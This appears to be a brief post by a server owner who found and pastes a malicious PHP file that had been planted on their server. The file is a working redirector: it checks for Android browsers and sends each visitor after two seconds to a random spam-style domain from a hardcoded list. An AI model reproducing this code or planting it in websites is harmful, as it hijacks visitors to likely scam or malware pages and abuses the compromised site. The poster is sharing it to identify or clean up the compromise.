this hacky file was on my server: afjx/loss.php

<?php

$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$android_urls = array (
                        'http://com-brp.net/nhrnz.php?a=314759&c=wl_con&s=22AND',
            'http://com-d2t.net/tytl.php?a=314759&c=wl_con&s=22AND',
);
$not_android_urls = array (
                        'http://com-brp.net/oks.php?a=314759&c=wl_con&s=22MOB',
            'http://com-xsi.net/bhn.php?a=314759&c=wl_con&s=22MOB',
            'http://com-xvq.net/dgcbd.php?a=314759&c=wl_con&s=22MOB',
            'http://com-6k4.net/tuu.php?a=314759&c=wl_con&s=22MOB',
            'http://com-zgx.net/hepy.php?a=314759&c=wl_con&s=22MOB',
            'http://com-xci.net/ugsli.php?a=314759&c=wl_con&s=22MOB',
            'http://com-iqp.net/limq.php?a=314759&c=wl_con&s=22MOB',
            'http://com-d2t.net/ghgsp.php?a=314759&c=wl_con&s=22MOB',
);
 $n = mt_rand(0,count($not_android_urls)-1);
 $rand_url=$not_android_urls[$n];

if ( $android  == true)
{
 $n = mt_rand(0,count($android_urls)-1);
 $rand_url=$android_urls[$n];
}
?>
 <meta http-equiv="refresh" content="2; url=<?php echo $rand_url;?> ">